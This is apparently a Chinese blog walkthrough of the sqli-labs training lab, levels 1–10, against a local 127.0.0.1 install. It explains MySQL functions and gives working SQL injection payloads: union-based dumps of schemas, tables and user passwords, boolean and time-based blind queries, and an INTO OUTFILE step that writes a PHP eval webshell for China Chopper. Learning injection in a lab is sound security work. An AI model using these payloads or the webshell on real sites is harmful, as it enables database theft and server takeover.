sqli-labs (1-10)

[学习链接]:https://www.bilibili.com/video/av66072415

MySQL简单基本用法

1
2
3
4
5
6
7
8
常用的几个函数:
system_user() —— 系统用户
user() —— 普通用户
current_user() —— 当前用户
database() —— 当前所用的数据库
version() —— 数据库的版本
@@datadir —— 安装路径
@@version_compile_os —— 本机系统

假定:数据库名-security,表名-users

  • 查库:select schema_name from information_schema.schemata

  • 查表:select table_name from information_schema.tables where table_schema=’security’

  • 查列:select column_name from information_schema.columns where table_name=’users’

  • 查字段: select username,password from security.users

Less-01

构造payload: http://127.0.0.1/sqli/Less-1/?id=1

得到 name:Dumb, password:Dumb

—— 当然,可以改变后面id的值,会得到不同的name和password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
1. # 其中limit后面的第一位(0)表示从第几个开始,第二位表示显示多少个数据(1)
http://127.0.0.1/sqli/Less-1/?id=1
得到的SQL语句为:select * from users where id='1' limit 0,1

2. # A and B —— 当A和B都为1时,结果为true; A or B —— A、B任何一个为1,结果都为true
# --+ # -- 都表示注释符
http://127.0.0.1/sqli/Less-1/?id=1' or 1=1--+
得到的SQL语句为:SELECT * FROM users WHERE id='1' or 1=1-- ' LIMIT 0,1

3. # orber by 表示对表中的某个字段进行排序
# 通过order by 语句可以确定数据列数,本题包含id在内有3个字段
http://127.0.0.1/sqli/Less-1/?id=1' order by 1--+
得到sql语句为:SELECT * FROM users WHERE id='1' order by 1-- ' LIMIT 0,1

4. # 联合查询union的作用是将两个select查询结果和并
# 通过将id改为-1,判断显示的内容在数据库的第几列
# 得到login name在第2列,Password在第3列
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3--+
得到sql语句为:SELECT * FROM users WHERE id='-1' union select 1,2,3-- ' LIMIT 0,1

5. # 选3的位置作为回显位置,获取username或者password
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 0,1--+
得到SQL语句为:SELECT * FROM users WHERE id='-1' union select 1,2,schema_name from information_schema.schemata LIMIT 0,1-- ' LIMIT 0,1

6. # group_concat(),可以将所有的数据拼接在一行显示
# 详情見本链接 https://www.yiibai.com/mysql/group_concat.html
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
得到的SQL语句为:SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(schema_name) from information_schema.schemata limit 0,1-- ' LIMIT 0,1

7. # 得到表信息, emails,referers,uagents,users
# 但是后面的security两边的引号较为危险,推荐将其改为十六进制的形式
# 即为:table_schema=0x7365637572697479
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
得到的SQL语句为:SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- ' LIMIT 0,1

8. # 得到列信息:id,username,password
# 16进制为:0x7573657273
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
得到的SQL语句为:SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'-- ' LIMIT 0,1

9. # 得到password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(password) from security.users--+
得到SQL语句为:SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(password) from security.users-- ' LIMIT 0,1

10. # concat_ws()函数能将username和password同时取出,用‘-’连接
# 推荐将连接符号‘-’转换为16进制,0x2D
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('-',username,password)) from security.users--+
得到的SQL语句为:SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(concat_ws('-',username,password)) from security.users-- ' LIMIT 0,1

步骤总结:

  1. 查看是否有注入

  2. 查看有多少列

  3. 查看哪些数据可以回显

  4. 查看当前数据库

  5. 查看所有的数据库

  6. 查看所有的表

  7. 查看所有的字段

  8. 得到所有的账号和密码

Less-02

​ id=1’时报错,则存在sql注入,此时发现引号是多余的。

​ 模版为 http://127.0.0.1/sqli/Less-2/?id=-1(此为要构造的)--+

​ 按照步骤得到正确答案。

Less-03

​ id=1’时报错,存在sql注入,此时发现引号、右括号是多余的

​ 模板为 http://127.0.0.1/sqli/Less-3/?id=1') (此为要构造的) –+

​ 按照步骤得到正确答案

Less-04

​ id=1”时报错,存在sql注入,此时发现引号、右括号是多余的

​ 模板为 http://127.0.0.1/sqli/Less-4?id=1") (此为要构造的) –+

​ 按照步骤得到正确答案

Less-05

​ 难度正式加大了。

基础知识补充:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1. left()函数 —— left(a,b)从左侧截取a的前b位,正确返回1,错误返回0
例:select left(database(),1)='s'; —— 前1位是否为s

2. regexp函数 —— 正则表达式匹配
例:select database() regexp 's'; —— 匹配第一个字符是否为s

3. like函数 —— 模糊正则匹配
例:select database() like 's%'; —— 匹配第一个字符是否为s

4. substr(a,b,c) —— 从位置b开始,截取a字符串c位长度
例:select substr((select database(),1,1))='s'; —— 匹配第一个字符是否为s
select substr((select database(),1,3))='sec'; —— 匹配前3个字符是否为sec

5. ascii() —— 将某个字符串转化为ascii值
例:select ascii(substr(select database()),1,1); —— 回显115或者:
select ascii(substr(select database(),1,1))>110 —— 如果大于110,返回1,否则返回0

6. chr('数字') 或者 ord('字母') —— 使用python中的两个函数可以判断当前的ascii值是多少

7. length() —— 判断长度

​ 当id=1时,显示  You are in……;当id值大于12时,没有任何的显示。这就是典型的  布尔盲注

​ 布尔盲注:一般是在网页没有报错、回显的时候使用。只能对url输入的判断一个对错,一般只能判断一个英文字符。

​ id=1’时报错,存在sql注入。可以知道正确的情况下会显示 You are in……按照之前的步骤可以判断此为3列,接下来判断数据库名之类的就要用到上面的补充知识了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
1. # 求当前数据库名的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())=8--+

2. # 判断数据库名的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1' and left((select database()),1)='s'--+
# 接下来判断数据库名的其他位
http://127.0.0.1/sqli/Less-5/?id=1' and left((select database()),2)='c'--+

# 手工一个一个排查十分的麻烦,这个时候可以将burpsuit派上用场,直接爆破,或者写脚本完成
-----------------------------------------------------------------------------------------
# 或者使用if来进行判断测试,二分法测试,减少了时间
# 下面的方法select database()会出现bug,因为MySQL里面的数据库为NULL,所以无论后面的数字为多大,永远都显示 You are in ……
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select database()),1,1))>110--+

# 此种方法可以避免bug,limit 1(表示选择第几个数据库),1
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>110--+
依次类推,得到所有的数据库

3. # 爆security中的表名
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>110--+
# 判断是否存在表
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select group_concat(table_name) from information_schema.tables where table_schema=‘security’ )–+
依次类推,得到所有的表

4. # 爆字段名
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))<106--+
依次类推,得到users的表username,password的值

5. # 爆字段内的值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select username from security.users limit 1,1),1,1))=65--+

Less-06

​ id=1” 时报错,存在sql注入

​ 模板为 http://127.0.0.1/sqli/Less-3/?id=1" (此为要构造的) –+

​ 按照第五关步骤得到正确答案

Less-07

基础知识补充:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1. show variables like '%secure%';查看secure-file-priv当前的值,如果显示为NULL,则需要打开C:\phpstudy\PHPTutorial\MySQL\my.ini文件,在其中加上一句:secure-file-priv="/"
# 这一步实在解决不了就参考https://blog.csdn.net/qq_31518899/article/details/75662090

2. 一句话木马:PHP版本:<?php @eval($_POST["hacker"]);?> 其中hacker为密码

3. load_file() 读取本地文件 select load_file('C:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-7\\test1.txt');

4. into outfile 写文件
用法:select 'php is the best language' into outfile 'test1.txt';
文件位置:C:\phpStudy\PHPTutorial\MySQL\data
—————————————————————————————————————————————————————————————————————————
或者是:
用法:select 'crow 666' into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-7\\test1.txt';
文件位置:C:\phpStudy\PHPTutorial\WWW\sqli\Less-7
  • 当 id=1 时,显示 You are in…… Use outfile……;直接加单引号 id=1’,显示 You have an error in your SQL syntax, 则存在SQL注入
  • 注入模版为 http://127.0.0.1/sqli/Less-7/?id=1‘)) (要构造的)–+
  • 根据提示,会用到outfile函数,可以构造payload: http://127.0.0.1/sqli/Less-7/?id=1')) union select 1,2,’‘ into outfile ‘C:\phpStudy\PHPTutorial\WWW\sqli\Less-7\test1.php’–+
  • 访问 http://127.0.0.1/sqli/Less-7/test1.php,显示 1 Dumb Dumb 1 2
  • 写入了一句话木马后,用中国菜刀访问,此时hacker为密码,成功拿到网站的webshell

Less-08

​ id=1’时 You are in……消失,则存在sql注入。

​ 模版为 http://127.0.0.1/sqli/Less-2/?id=1'(此为要构造的)--+

​ 按照第5关的步骤得到正确答案。

Less-09

基础知识补充:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
1. if(condition,A,B) —— 如果条件condition为true,则执行语句A,否则执行B
例: select if(1>2,4,5);返回的结果为5(如果在mysql命令行中使用,首先要use xxx数据库才行)

2. sleep() 休眠多长时间

3. # 使用时间延迟的方法判断是否存在注入漏洞
http://127.0.0.1/sqli/Less-9/?id=1' and sleep(5)--+

4. # 当为8的时候很快加载,为其他值的时候加载较慢(延迟5秒左右),那就说明此时数据库的长度为8(security)
http://127.0.0.1/sqli/Less-9/?id=1' and if(length(database())=8,1,sleep(5))--+

5. # 如果当前数据库的第一个字母的ascii值大于113的时候立即返回结果,否则执行5秒
http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr((select database()),1,1))>113,1,sleep(5))--+

6. # 同理哦安短数据库中的第五个数据库的第一位的ascii是否大于112
http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr((select schmea_name from information_schema.schemata limit 4,1),1,1))>113,1,sleep(5))--+

7. 其余步骤基本相似,可以采用burpsuit或者是sql盲注的脚本使用
了解一下DNSlog

Less-10

http://127.0.0.1/sqli/Less-10/?id=1" and sleep(5)–+ 只是将less-9中的单引号换成了双引号,其余均相同。

注意:一般情况下,测试有六种方法:

  • ‘         单引号
  • ‘)        单引号、括号
  • ‘))      单引号、双括号
  • “         双引号
  • “)        双引号、括号
  • “))      双引号、双括号
-------------本文结束感谢您的阅读-------------